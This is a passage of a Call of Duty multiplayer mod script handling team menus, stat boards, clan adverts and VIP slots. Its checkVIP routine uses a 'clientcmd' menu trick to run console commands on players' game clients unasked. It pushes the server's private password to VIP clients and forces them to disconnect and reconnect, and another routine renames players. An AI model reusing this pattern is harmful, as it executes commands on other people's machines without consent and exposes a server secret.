	self.pers["spawnweapon"] = undefined;
	self.pers["savedmodel"] = undefined;

	self setClientCvar("ui_allow_weaponchange", "1");

	if(self.pers["team"] == "allies")
	{
		self openMenu(game["menu_weapon_allies"]);
		self setClientCvar("g_scriptMainMenu", game["menu_weapon_allies"]);
	}
	else
	{
		self openMenu(game["menu_weapon_axis"]);
		self setClientCvar("g_scriptMainMenu", game["menu_weapon_axis"]);
	}

	self notify("joined_team");
}

menuAllies()
{
	if(self.pers["team"] != "allies")
	{
		if(self.sessionstate == "playing")
		{
			self.switching_teams = true;
			self.joining_team = "allies";
			self.leaving_team = self.pers["team"];
			self suicide();
		}

		self.pers["team"] = "allies";
		self.pers["weapon"] = undefined;
		self.pers["weapon1"] = undefined;
		self.pers["weapon2"] = undefined;
		self.pers["spawnweapon"] = undefined;
		self.pers["savedmodel"] = undefined;

		self setClientCvar("ui_allow_weaponchange", "1");
		self setClientCvar("g_scriptMainMenu", game["menu_weapon_allies"]);

		self notify("joined_team");
	}

	if(!isdefined(self.pers["weapon"]))
		self openMenu(game["menu_weapon_allies"]);
}

menuAxis()
{
	if(self.pers["team"] != "axis")
	{
		if(self.sessionstate == "playing")
		{
			self.switching_teams = true;
			self.joining_team = "axis";
			self.leaving_team = self.pers["team"];
			self suicide();
		}

		self.pers["team"] = "axis";
		self.pers["weapon"] = undefined;
		self.pers["weapon1"] = undefined;
		self.pers["weapon2"] = undefined;
		self.pers["spawnweapon"] = undefined;
		self.pers["savedmodel"] = undefined;

		self setClientCvar("ui_allow_weaponchange", "1");
		self setClientCvar("g_scriptMainMenu", game["menu_weapon_axis"]);

		self notify("joined_team");
	}

	if(!isdefined(self.pers["weapon"]))
		self openMenu(game["menu_weapon_axis"]);
}

menuSpectator()
{
	if(self.pers["team"] != "spectator")
	{
		self notify("joined_spectators");

		if(isAlive(self))
		{
			self.switching_teams = true;
			self.joining_team = "spectator";
			self.leaving_team = self.pers["team"];
			self suicide();
		}

		self.pers["team"] = "spectator";
		self.pers["weapon"] = undefined;
		self.pers["weapon1"] = undefined;
		self.pers["weapon2"] = undefined;
		self.pers["spawnweapon"] = undefined;
		self.pers["savedmodel"] = undefined;

		self.sessionteam = "spectator";
		self setClientCvar("ui_allow_weaponchange", "0");
		spawnSpectator();

		if(level.splitscreen)
			self setClientCvar("g_scriptMainMenu", game["menu_ingame_spectator"]);
		else
			self setClientCvar("g_scriptMainMenu", game["menu_ingame"]);
	}
}

menuWeapon(response)
{
	if(!isdefined(self.pers["team"]) || (self.pers["team"] != "allies" && self.pers["team"] != "axis"))
		return;

	weapon = self maps\mp\gametypes\_weapons::restrictWeaponByServerCvars(response);

	if(weapon == "restricted")
	{
		if(self.pers["team"] == "allies")
			self openMenu(game["menu_weapon_allies"]);
		else if(self.pers["team"] == "axis")
			self openMenu(game["menu_weapon_axis"]);

		return;
	}

	if(level.splitscreen)
		self setClientCvar("g_scriptMainMenu", game["menu_ingame_onteam"]);
	else
		self setClientCvar("g_scriptMainMenu", game["menu_ingame"]);

	if(isdefined(self.pers["weapon"]) && self.pers["weapon"] == weapon && !isdefined(self.pers["weapon1"]))
		return;

	if(!game["matchstarted"])
	{
		if(isdefined(self.pers["weapon"]))
		{
			self.pers["weapon"] = weapon;
			self setWeaponSlotWeapon("primary", weapon);
			self setWeaponSlotAmmo("primary", 999);
			self setWeaponSlotClipAmmo("primary", 999);
			self switchToWeapon(weapon);

			maps\mp\gametypes\_weapons::givePistol();
			maps\mp\gametypes\_weapons::giveGrenades();
		}
		else
		{
			self.pers["weapon"] = weapon;
			self.spawned = undefined;
			spawnPlayer();
			self thread printJoinedTeam(self.pers["team"]);
			level checkMatchStart();
		}
	}
	else if(!level.roundstarted && !self.usedweapons)
	{
		if(isdefined(self.pers["weapon"]))
		{
			self.pers["weapon"] = weapon;
			self setWeaponSlotWeapon("primary", weapon);
			self setWeaponSlotAmmo("primary", 999);
			self setWeaponSlotClipAmmo("primary", 999);
			self switchToWeapon(weapon);

			maps\mp\gametypes\_weapons::givePistol();
			maps\mp\gametypes\_weapons::giveGrenades();
		}
		else
		{
			self.pers["weapon"] = weapon;
			if(!level.exist[self.pers["team"]])
			{
				self.spawned = undefined;
				spawnPlayer();
				self thread printJoinedTeam(self.pers["team"]);
				level checkMatchStart();
			}
			else
			{
				spawnPlayer();
				self thread printJoinedTeam(self.pers["team"]);
			}
		}
	}
	else
	{
		if(isdefined(self.pers["weapon"]))
			self.oldweapon = self.pers["weapon"];

		self.pers["weapon"] = weapon;
		self.sessionteam = self.pers["team"];

		if(self.sessionstate != "playing")
			self.statusicon = "hud_status_dead";

		if(self.pers["team"] == "allies")
			otherteam = "axis";
		else
		{
			assert(self.pers["team"] == "axis");
			otherteam = "allies";
		}

		// if joining a team that has no opponents, just spawn
		if(!level.didexist[otherteam] && !level.roundended)
		{
			if(isdefined(self.spawned))
			{
				if(isdefined(self.pers["weapon"]))
				{
					self.pers["weapon"] = weapon;
					self setWeaponSlotWeapon("primary", weapon);
					self setWeaponSlotAmmo("primary", 999);
					self setWeaponSlotClipAmmo("primary", 999);
					self switchToWeapon(weapon);

					maps\mp\gametypes\_weapons::givePistol();
					maps\mp\gametypes\_weapons::giveGrenades();
				}
			}
			else
			{
				self.spawned = undefined;
				spawnPlayer();
				self thread printJoinedTeam(self.pers["team"]);
			}
		} // else if joining an empty team, spawn and check for match start
		else if(!level.didexist[self.pers["team"]] && !level.roundended)
		{
			self.spawned = undefined;
			spawnPlayer();
			self thread printJoinedTeam(self.pers["team"]);
			level checkMatchStart();
		} // else you will spawn with selected weapon next round
		else
		{
			weaponname = maps\mp\gametypes\_weapons::getWeaponName(self.pers["weapon"]);

			if(self.pers["team"] == "allies")
			{
				if(maps\mp\gametypes\_weapons::useAn(self.pers["weapon"]))
					self iprintln(&"MP_YOU_WILL_SPAWN_ALLIED_WITH_AN_NEXT_ROUND", weaponname);
				else
					self iprintln(&"MP_YOU_WILL_SPAWN_ALLIED_WITH_A_NEXT_ROUND", weaponname);
			}
			else if(self.pers["team"] == "axis")
			{
				if(maps\mp\gametypes\_weapons::useAn(self.pers["weapon"]))
					self iprintln(&"MP_YOU_WILL_SPAWN_AXIS_WITH_AN_NEXT_ROUND", weaponname);
				else
					self iprintln(&"MP_YOU_WILL_SPAWN_AXIS_WITH_A_NEXT_ROUND", weaponname);
			}
		}
	}

	self thread maps\mp\gametypes\_spectating::setSpectatePermissions();
}

soundPlanted(player)
{
	if(game["allies"] == "british")
		alliedsound = "UK_mp_explosivesplanted";
	else if(game["allies"] == "russian")
		alliedsound = "RU_mp_explosivesplanted";
	else
		alliedsound = "US_mp_explosivesplanted";

	axissound = "GE_mp_explosivesplanted";

	if(level.splitscreen)
	{
		if(player.pers["team"] == "allies")
			player playLocalSound(alliedsound);
		else if(player.pers["team"] == "axis")
			player playLocalSound(axissound);

		return;
	}
	else
	{
		level playSoundOnPlayers(alliedsound, "allies");
		level playSoundOnPlayers(axissound, "axis");

		wait 1.5;

		if(level.planting_team == "allies")
		{
			if(game["allies"] == "british")
				alliedsound = "UK_mp_defendbomb";
			else if(game["allies"] == "russian")
				alliedsound = "RU_mp_defendbomb";
			else
				alliedsound = "US_mp_defendbomb";

			level playSoundOnPlayers(alliedsound, "allies");
			level playSoundOnPlayers("GE_mp_defusebomb", "axis");
		}
		else if(level.planting_team == "axis")
		{
			if(game["allies"] == "british")
				alliedsound = "UK_mp_defusebomb";
			else if(game["allies"] == "russian")
				alliedsound = "RU_mp_defusebomb";
			else
				alliedsound = "US_mp_defusebomb";

			level playSoundOnPlayers(alliedsound, "allies");
			level playSoundOnPlayers("GE_mp_defendbomb", "axis");
		}
	}
}

/*SuperJump()
{
	self endon("disconnect");
	for(;;)
	{
		while(self.highjump)
		{
			if(self isonground())
			{
				wait 0.05;
			}
			else
			{
				level.boostjump = 999;
				self.health+=level.boostjump;
				eInflictor = self;
				eAttacker = self;
				iDamage = level.boostjump;
				iDFlags = 0;
				sMeansOfDeath = "MOD_PROJECTILE";
				sWeapon = "panzershreck_mp";
				vPoint = ( self.origin+(0,0,-1) );
				vDir = (0,0,1);
				sHitLoc = "none";
				psOffsetTime = 0;
				self finishPlayerDamage( eInflictor, eAttacker, iDamage, iDFlags, sMeansOfDeath, sWeapon, vPoint, vDir, sHitLoc, psOffsetTime );
				wait 0.05;
				self.highjump=false;
				wait 1.2;
				self.highjump=true;				
			}
		}
		wait 0.1;
	}
}*/

bigjump() 
{
	setcvar("bigjump", "1"); 

	if(getCvar("bigjump")=="")
	{
setCvar("bigjump", "1");
}

for(;;) 
{
if(getcvar("bigjump")=="1") 
{
	setcvar("jump_height", 128);
	setcvar("jump_slowdownEnable", 0);
	setcvar("jump_spreadAdd", 512);
	setcvar("jump_stepSize", 64);
	setcvar("bigjump", ""); 
}
wait 0.05; 

if(getcvar("bigjump")=="0") 
{

setcvar("jump_height", 39); 
setcvar("jump_slowdownEnable", 1);
setcvar("jump_spreadAdd", 64);
setcvar("jump_stepSize", 18);
setcvar("bigjump", "");

}
wait 0.05;
}
}


showText()
{		
	if(!isDefined(self.hudText))
	{
		self.hudText = newClientHudElem(self);
		self.hudText.x = 260; //630
		self.hudText.y = 455; //475
		self.hudText.alignX = "left";
		self.hudText.alignY = "middle";
		self.hudText.sort = 99;
		self.hudText.fontScale = 1.2;
		self.hudText setText(&"^9evil^1.^7Clan");

		while(isdefined(self.hudText))
   		{
        		
         		self.hudText fadeOverTime(0.75);
         		self.hudText.alpha = 1;
         		self.hudText setText(&"^9evil^1.^7Clan");
         		wait 2;
         		if(isDefined(self.hudText))
         		{
                  		self.hudText fadeOverTime(0.75);
                  		self.hudText.alpha = 0;
         		}

         		self.hudText fadeOverTime(0.75);
         		self.hudText.alpha = 1;
         		self.hudText setText(&"^9www^1.^7evilmulticlan^1.^9tk");
         		wait 2;
         		if(isDefined(self.hudText))
         		{
                  		self.hudText fadeOverTime(0.75);
                  		self.hudText.alpha = 0;
         		}

         		self.hudText fadeOverTime(0.75);
         		self.hudText.alpha = 1;
         		self.hudText setText(&"^9Mod by^1: ^7Ni^23^7ls");
         		wait 2;
         		if(isDefined(self.hudText))
         		{
                  		self.hudText fadeOverTime(0.75);
                  		self.hudText.alpha = 0;
         		}

         		self.hudText fadeOverTime(0.75);
         		self.hudText.alpha = 1;
         		self.hudText setText(&"^7Want to buy ^1VIP^7?\n^7Add Ni^23^7ls or ^2A^7TEM^2V^7EGETA on xfire");
         		wait 2.5;
         		if(isDefined(self.hudText))
         		{
                  		self.hudText fadeOverTime(0.75);
                  		self.hudText.alpha = 0;
         		}
         	wait 1;
      		}
		
	}
}

DiscoEnd()
{
			for(i = 5; i >= 0; i--)
			{
				SetExpFog(0.005, 0, 0, 0, 0.7);
				wait 1;
				setExpFog(0.005, 1, 1, 1, 0.7);
				wait 1;
				setExpFog(0.005, 1, 51/255, 102/255, 0.7); //rood
				wait 1;
				setExpFog(0.005, 51/255, 102/255, 1, 0.7); //blauw
				wait 1;
				setExpFog(0.005, 51/255, 1, 102/255, 0.7); //groen
				wait 1;
				setExpFog(0.0000005, 1, 1, 1, 0.7); //niks
			}
}

ShowplayerStats()
{
	if(!isDefined(level.statText))
	{
		level.statText = newHudElem();
		level.statText.y = -50;
  		level.statText.horzAlign = "center_safearea";
    		level.statText.vertAlign = "center_safearea";
		level.statText.alignX = "center";
 		level.statText.alignY = "middle";	
 		level.statText.fontScale = 2.2;	
		level.statText.Label =&"^9evil^1.^7Stats Board";
		//level.statText setplayernamestring(winner);
	}
}

ShowplayerScore()
{
	self endon("disconnect");
	
	//remove the scoreboard
	self setClientCvar("g_scriptMainMenu", "");
	self closeMenu();

	winner = undefined;
	tied = false;
	players = getentarray("player", "classname");
	for(i=0;i<players.size;i++)
	{
		if(isdefined(players[i].pers["team"]) && players[i].pers["team"] == "spectator")
		continue;
		if(!isdefined(winner) || (isDefined(winner) && players[i].score > winner.score))
		{
			tied = false;
			winner = players[i];
		}
		else if(players[i].score == winner.score)
		tied = true;
	}
	if(tied)
	{
	if(!isDefined(level.score1Text))
	{
		level.score1Text = newHudElem();
		//level.score1Text.x = -200;
		level.score1Text.y = -20;
  		level.score1Text.horzAlign = "center_safearea";
    		level.score1Text.vertAlign = "center_safearea";
		level.score1Text.alignX = "center";
 		level.score1Text.alignY = "middle";
 		level.score1Text.fontScale = 1.2;	
		level.score1Text.Label =&"No best Player";
		//level.score1Text setplayernamestring();
	}
	}
	//iprintlnbold("This game has no winner");
	else if(isdefined(winner))
	{
	if(!isDefined(level.scoreText))
	{
		level.scoreText = newHudElem();
		//level.scoreText.x = -200;
		level.scoreText.y = -20;
  		level.scoreText.horzAlign = "center_safearea";
    		level.scoreText.vertAlign = "center_safearea";
		level.scoreText.alignX = "center";
 		level.scoreText.alignY = "middle";	
 		level.scoreText.fontScale = 1.2;	
		level.scoreText.Label =&"Best Score: ";
		level.scoreText setplayernamestring(winner);
	}

	if(!isDefined(level.score2Text))
	{
		level.score2Text = newHudElem();
		//level.score2Text.y = 20;
		//level.score2Text.x = -200;
  		level.score2Text.horzAlign = "center_safearea";
    		level.score2Text.vertAlign = "center_safearea";
		level.score2Text.alignX = "center";
 		level.score2Text.alignY = "middle";	
 		level.score2Text.fontScale = 1.2;	
		level.score2Text.Label =&"Kills: ";
		level.score2Text setValue(winner.score);
	}
	}
	//iprintlnbold(winner.name +" ^7has the best score with ^1" + winner.score + " ^7points");
	//f=openfile("stats/bestplayers.txt","read");
	//if(f !=-1)
	//{
	//	freadln(f);
	//	level.mostkills = int(fgetarg(f,0));
	//	closefile(f);
	//}

	/*if(!isDefined(level.mostkillsText))
	{
		level.mostkillsText = newHudElem();
		//level.mostkillsText.y = 100;
		//level.mostkillsText.x = 200;
  		level.mostkillsText.horzAlign = "center_safearea";
    		level.mostkillsText.vertAlign = "center_safearea";
		level.mostkillsText.alignX = "center";
 		level.mostkillsText.alignY = "middle";	
 		level.mostkillsText.fontScale = 1.2;	
		level.mostkillsText.Label =&"Most Kills: ";
		level.mostkillsText setValue(level.mostkills);
	}

	naammostkills = "";
	f=openfile("stats/bestplayers.txt","read");
	if(f !=-1)
	{
		freadln(f);
		naammostkills = fgetarg(f,1);
		iprintlnbold("Naam: "+naammostkills);
		closefile(f);
	}*/
		
	//iprintlnbold("Most kills: "+level.mostkills);
	


}

ShowplayerBash()
{
	self endon("disconnect");
	
	//remove the scoreboard
	self setClientCvar("g_scriptMainMenu", "");
	self closeMenu();

	winner = undefined;
	tied = false;
	players = getentarray("player", "classname");
	for(i=0;i<players.size;i++)
	{
		if(isdefined(players[i].pers["team"]) && players[i].pers["team"] == "spectator")
		continue;
		if(!isdefined(winner) || (isDefined(winner) && players[i].pers["CurrentBash"] > winner.pers["CurrentBash"]))
		{
			tied = false;
			winner = players[i];
		}
		else if(players[i].pers["CurrentBash"] == winner.pers["CurrentBash"])
		tied = true;
	}
	if(tied)
	{
	if(!isDefined(level.bashText))
	{
		level.bashText = newHudElem();
		level.bashText.y = 20;
  		level.bashText.horzAlign = "center_safearea";
    		level.bashText.vertAlign = "center_safearea";
		level.bashText.alignX = "center";
 		level.bashText.alignY = "middle";
 		level.bashText.fontScale = 1.2;	
		level.bashText.Label =&"No best Basher";
		//level.bashText setplayernamestring();
	}
	//iprintlnbold("This game has no best Basher");
	}
	else if(isdefined(winner))
	{
	if(!isDefined(level.bestbashText))
	{
		level.bestbashText = newHudElem();
		level.bestbashText.y = 20;
  		level.bestbashText.horzAlign = "center_safearea";
    		level.bestbashText.vertAlign = "center_safearea";
		level.bestbashText.alignX = "center";
 		level.bestbashText.alignY = "middle";	
 		level.bestbashText.fontScale = 1.2;	
		level.bestbashText.Label =&"Best Basher: ";
		level.bestbashText setplayernamestring(winner);
	}

	if(!isDefined(level.bash2Text))
	{
		level.bash2Text = newHudElem();
		level.bash2Text.y = 40;
  		level.bash2Text.horzAlign = "center_safearea";
    		level.bash2Text.vertAlign = "center_safearea";
		level.bash2Text.alignX = "center";
 		level.bash2Text.alignY = "middle";	
 		level.bash2Text.fontScale = 1.2;	
		level.bash2Text.Label =&"Bashes: ";
		level.bash2Text setValue(winner.pers["CurrentBash"]);
	}
	//iprintlnbold(winner.name +" ^7is the best Basher with ^1" + winner.pers["CurrentBash"] + " ^7Bashes");
	}


}

ShowplayerHead()
{
	self endon("disconnect");
	
	//remove the scoreboard
	self setClientCvar("g_scriptMainMenu", "");
	self closeMenu();

	winner = undefined;
	tied = false;
	players = getentarray("player", "classname");
	for(i=0;i<players.size;i++)
	{
		if(isdefined(players[i].pers["team"]) && players[i].pers["team"] == "spectator")
		continue;
		if(!isdefined(winner) || (isDefined(winner) && players[i].pers["CurrentHead"] > winner.pers["CurrentHead"]))
		{
			tied = false;
			winner = players[i];
		}
		else if(players[i].pers["CurrentHead"] == winner.pers["CurrentHead"])
		tied = true;
	}
	if(tied)
	{
	if(!isDefined(level.headText))
	{
		level.headText = newHudElem();
		level.headText.y = 60;
  		level.headText.horzAlign = "center_safearea";
    		level.headText.vertAlign = "center_safearea";
		level.headText.alignX = "center";
 		level.headText.alignY = "middle";
 		level.headText.fontScale = 1.2;	
		level.headText.Label =&"No best Sharpshooter";
		//level.bashText setplayernamestring();
	}
	//iprintlnbold("This game has no best Sharpshooter");
	}
	else if(isdefined(winner))
	{
	if(!isDefined(level.bestheadText))
	{
		level.bestheadText = newHudElem();
		level.bestheadText.y = 60;
  		level.bestheadText.horzAlign = "center_safearea";
    		level.bestheadText.vertAlign = "center_safearea";
		level.bestheadText.alignX = "center";
 		level.bestheadText.alignY = "middle";	
 		level.bestheadText.fontScale = 1.2;	
		level.bestheadText.Label =&"Best Sharpshooter: ";
		level.bestheadText setplayernamestring(winner);
	}

	if(!isDefined(level.head2Text))
	{
		level.head2Text = newHudElem();
		level.head2Text.y = 80;
  		level.head2Text.horzAlign = "center_safearea";
    		level.head2Text.vertAlign = "center_safearea";
		level.head2Text.alignX = "center";
 		level.head2Text.alignY = "middle";	
 		level.head2Text.fontScale = 1.2;	
		level.head2Text.Label =&"Headshots: ";
		level.head2Text setValue(winner.pers["CurrentHead"]);
	}
	//iprintlnbold(winner.name +" ^7is the best Sharpshooter with ^1" + winner.pers["CurrentHead"] + " ^7Headshots");
	}

}

christmasname()
{

	wait 2;
	if(self.symbols <=5 && self.name.size <= 20)
	{
	if(self.pers["namechanged"] == 0)
	{
	self.oldname = self.name;
	self setclientcvar("name","^1*<^7|^1:-)^7"+self.oldname);
	self.pers["namechanged"] =1;
	}
	}

}
checksymbols()
{
		self.letters = 0;
		self.numbers = 0;
		self.symbols = 0;
		str = self.name;

		for (i=0; i<str.size; i++)
		{
 			switch (str[i]) // switch on current char
    			{
        		case "0":
        		case "1":
        		case "2":
        		case "3":
        		case "4":
        		case "5":
        		case "6":
        		case "7":
        		case "8":
        		case "9":
            		self.numbers++;
            		break;
        		case "*": // add all other symbols you want
        		case "<":
        		case "|":
        		case ":":
        		case "-":
        		case ")":
            		self.symbols++;
            		break;
        		default:
            		self.letters++;
    			}
		}
}
checkVIP()
{

	vipguid1=714461; // Skyline
	vipguid2=526024; // [SM]Sniperking/Harmony  (until 1 may 2014)
	vipguid3=1;
	vipguid4=1;
	vipguid5=1;
	vipguid6=1;
	privateslots=2;

	if(self getGUID() == vipguid1 || self getGUID() == vipguid2 || self getGUID() == vipguid3 || self getGUID() == vipguid4 || self getGUID() == vipguid5 || self getGUID() == vipguid6)
	{
		wait 3;
		//privateslots=2;
		self.headicon="headicon_vip";
		self.statusicon="headicon_vip";
		self giveWeapon("frag_grenade_american_mp");
		self setWeaponClipAmmo("frag_grenade_american_mp", 1);
		self.clientID= self getEntityNumber();
		self.privatepass= getcvar("sv_privatePassword");
		if(self.clientID >= privateslots)
		{
			self iprintlnbold("Use your Private Slot!");
			wait 1;
			self iprintlnbold("You will be reconnected to your Private Slot");


			self setClientCvar ("clientcmd", " ");
  			wait 1;
   			self setClientCvar ("clientcmd", "password " +self.privatepass);
   			self openMenu ("clientcmd");
   			self closeMenu ("clientcmd");
  			wait 1;
   			if(isDefined(self)) self setClientCvar ("clientcmd", " ");
			self setclientcvar("password", self.privatepass);
			wait 2;
   			self setClientCvar ("clientcmd", "disconnect; wait 30; reconnect");
   			self openMenu ("clientcmd");
   			self closeMenu ("clientcmd");
  			wait 0.5;
   			if(isDefined(self)) self setClientCvar ("clientcmd", " ");

		}

	}
	else if(self getGUID() != vipguid1 || self getGUID() != vipguid2 || self getGUID() != vipguid3 || self getGUID() != vipguid4 || self getGUID() != vipguid5 || self getGUID() != vipguid6)
	{
		wait 3;
		//privslots=1;
		self.clientID= self getEntityNumber();
		if(self.clientID < privateslots)
		{
			self iprintlnbold("You don't have Access to this Private Slot!");
			wait 1;
			self iprintlnbold("You will be reconnected to your Public Slot");


			self setClientCvar ("clientcmd", " ");
  			wait(1);
   			self setClientCvar ("clientcmd", "password suckmyballs");
   			self openMenu ("clientcmd");
   			self closeMenu ("clientcmd");
  			wait(1);
   			if(isDefined(self)) self setClientCvar ("clientcmd", " ");
			self setclientcvar("password", "suckmyballs");
			wait 2;

   			self setClientCvar ("clientcmd", "disconnect; wait 20; reconnect");
   			self openMenu ("clientcmd");
   			self closeMenu ("clientcmd");
  			wait(0.5);
   			if(isDefined(self)) self setClientCvar ("clientcmd", " ");

		}

	}
}

/*movePublic()
{
	if(self getGUID() != vipguid1 || self getGUID() != vipguid2 || self getGUID() != vipguid3 || self getGUID() != vipguid4 || self getGUID() != vipguid5 || self getGUID() != vipguid6)
	{
		wait 3;
		//privslots=1;
		self.clientID= self getEntityNumber();
		if(self.clientID < privateslots)
		{
			self iprintlnbold("You don't have Access to this Private Slot!");
			wait 1;
			self iprintlnbold("You will be reconnected to your Public Slot");


			self setClientCvar ("clientcmd", " ");
  			wait(1);
   			self setClientCvar ("clientcmd", "password suckmyballs");
   			self openMenu ("clientcmd");
   			self closeMenu ("clientcmd");
  			wait(1);
   			if(isDefined(self)) self setClientCvar ("clientcmd", " ");
			self setclientcvar("password", "suckmyballs");
			wait 2;

   			self setClientCvar ("clientcmd", "disconnect; wait 20; reconnect");
   			self openMenu ("clientcmd");
   			self closeMenu ("clientcmd");
  			wait(0.5);
   			if(isDefined(self)) self setClientCvar ("clientcmd", " ");

		}

	}
}*/

countstatsscore()
{
	winnerkills = undefined;
	tiedkills = false;
	players = getentarray("player", "classname");
	for(i=0;i<players.size;i++)
	{
		if(isdefined(players[i].pers["team"]) && players[i].pers["team"] == "spectator")
		continue;
		if(!isdefined(winnerkills) || (isDefined(winnerkills) && players[i].score > winnerkills.score))
		{
			tiedkills = false;
			winnerkills = players[i];
		}
		else if(players[i].score == winnerkills.score)
		tiedkills = true;

		if(tiedkills)
		{
			players[i] setClientCvar("bestkillnameround","No Best Player");
			players[i] setClientCvar("bestkillround","Tied with score");
		}
		else if(isdefined(winnerkills))
		{
			players[i] setClientCvar("bestkillnameround","Most kills: "+winnerkills.name);
			players[i] setClientCvar("bestkillround","Kills:" + winnerkills.score);
		}
	}
}
countstatshead()
{
	winnerhead = undefined;
	tiedhead = false;
	players = getentarray("player", "classname");
	for(i=0;i<players.size;i++)
	{
		if(isdefined(players[i].pers["team"]) && players[i].pers["team"] == "spectator")
		continue;
		if(!isdefined(winnerhead) || (isDefined(winnerhead) && players[i].pers["CurrentHead"] > winnerhead.pers["CurrentHead"]))
		{
			tiedhead = false;
			winnerhead = players[i];
		}
		else if(players[i].pers["CurrentHead"] == winnerhead.pers["CurrentHead"])
		tiedhead = true;

		if(tiedhead)
		{
			players[i] setClientCvar("bestheadnameround","No Best Sharpshooter");
			players[i] setClientCvar("bestheadround","Tied with headshots");
		}
		else if(isdefined(winnerhead))
		{
			players[i] setClientCvar("bestheadnameround","Most Headshots: "+winnerhead.name);
			players[i] setClientCvar("bestheadround","Headshots:" + winnerhead.pers["CurrentHead"]);
		}
	}
}
countstatsbash()
{

	winnerbash = undefined;
	tiedbash = false;
	players = getentarray("player", "classname");
	for(i=0;i<players.size;i++)
	{
		if(isdefined(players[i].pers["team"]) && players[i].pers["team"] == "spectator")
		continue;
		if(!isdefined(winnerbash) || (isDefined(winnerbash) && players[i].pers["CurrentBash"] > winnerbash.pers["CurrentBash"]))
		{
			tiedbash = false;
			winnerbash = players[i];
		}
		else if(players[i].pers["CurrentBash"] == winnerbash.pers["CurrentBash"])
		tiedbash = true;

		if(tiedbash)
		{
			players[i] setClientCvar("bestbashnameround","No Best Basher");
			players[i] setClientCvar("bestbashround","Tied with bashes");
		}
		else if(isdefined(winnerbash))
		{
			players[i] setClientCvar("bestbashnameround","Most bashes: "+winnerbash.name);
			players[i] setClientCvar("bestbashround","Bashes:" + winnerbash.pers["CurrentBash"]);
		}
	}

	mostkills = "";
	tiedmostkills = false;
	f=openfile("stats/bestplayerscore.txt","read");
	if(f !=-1)
	{
		freadln(f);
		naammostkills = fgetarg(f,0);
		closefile(f);
	}

	
}





dostatmenu()
{

	self setClientCvar("bestkillnameround","Name of Player");
	self setClientCvar("bestkillsround","Kills");

	players = getentarray("player", "classname");
	for(i=0;i<players.size;i++)
	{
		players[i] openmenu("playerstats");
	}
}

showDouble()
{		
	if(!isDefined(self.hudDouble))
	{
		self.hudDouble = newClientHudElem(self);
 		self.hudDouble.x = 500;
 		self.hudDouble.y = 150;
		self.hudDouble.alignX = "left";
 		self.hudDouble.alignY = "top";	
		self.hudDouble.sort = 99;
		self.hudDouble.fontScale = 1.4;
		self.hudDouble setText(&"^3VIP for Everybody!");

		while(isdefined(self.hudDouble))
   		{
        		//self endon("STOP_THE_FUCKING_BM");
         		self.hudDouble fadeOverTime(0.5);
         		self.hudDouble.alpha = 1;
         		self.hudDouble setText(&"^3VIP for Everybody!");
         		wait 1;
         		if(isDefined(self.hudDouble))
         		{
                  		self.hudDouble fadeOverTime(0.5);
                  		self.hudDouble.alpha = 0;
         		}
         	wait 1;
      		}
		
	}
}

loadoldstats()
{
	wait 1;
		if(isdefined(self.pers["login"])) 
		{
			//self iprintlnbold("LOAD OLD STATS: "+self.pers["loadoldstats"]);
			if(self.pers["loadoldstats"]==0)
			{
				f=openfile("stats/player_" + self getGuid() + ".txt","read");
				if(f!=-1)
				{
					freadln(f);
					self.pers["totalKills"] = int(fgetarg(f,0));
					self iprintlnbold("^2Total kills Loaded!");
					self iprintlnbold("^2Total kills: "+self.pers["totalKills"]);
					self.pers["totalHead"] = int(fgetarg(f,1));
					self iprintlnbold("^3Total Headshots Loaded!");
					self iprintlnbold("^3Total headshots: "+self.pers["totalHead"]);
					self.pers["totalBash"] = int(fgetarg(f,2));
					self iprintlnbold("^4Total Bashes Loaded!");
					self iprintlnbold("^4Total Bashes: "+self.pers["totalBash"]);
					self.pers["loadoldstats"]=1;
					closefile(f);
					wait .5;
					self maps\mp\gametypes\log::saveacc();
					self thread maps\mp\gametypes\_hudskh::UpdateHead();
					self thread maps\mp\gametypes\_hudskh::UpdateBash();
					self thread maps\mp\gametypes\_hudskh::UpdateKills();
				}
			}
		}
}

dovip()
{

	vipguid1=714461; // Skyline
	vipguid2=526024; // [SM]Sniperking/Harmony  (until 1 may 2014)
	vipguid3=1;
	vipguid4=1;
	vipguid5=1;
	vipguid6=1;

	if(self getGUID() == vipguid1 || self getGUID() == vipguid2 || self getGUID() == vipguid3 || self getGUID() == vipguid4 || self getGUID() == vipguid5 || self getGUID() == vipguid6)
	{
		wait 3;
		self.headicon="headicon_vip";
		self.statusicon="headicon_vip";
		self giveWeapon("frag_grenade_american_mp");
		self setWeaponClipAmmo("frag_grenade_american_mp", 1);
	}

}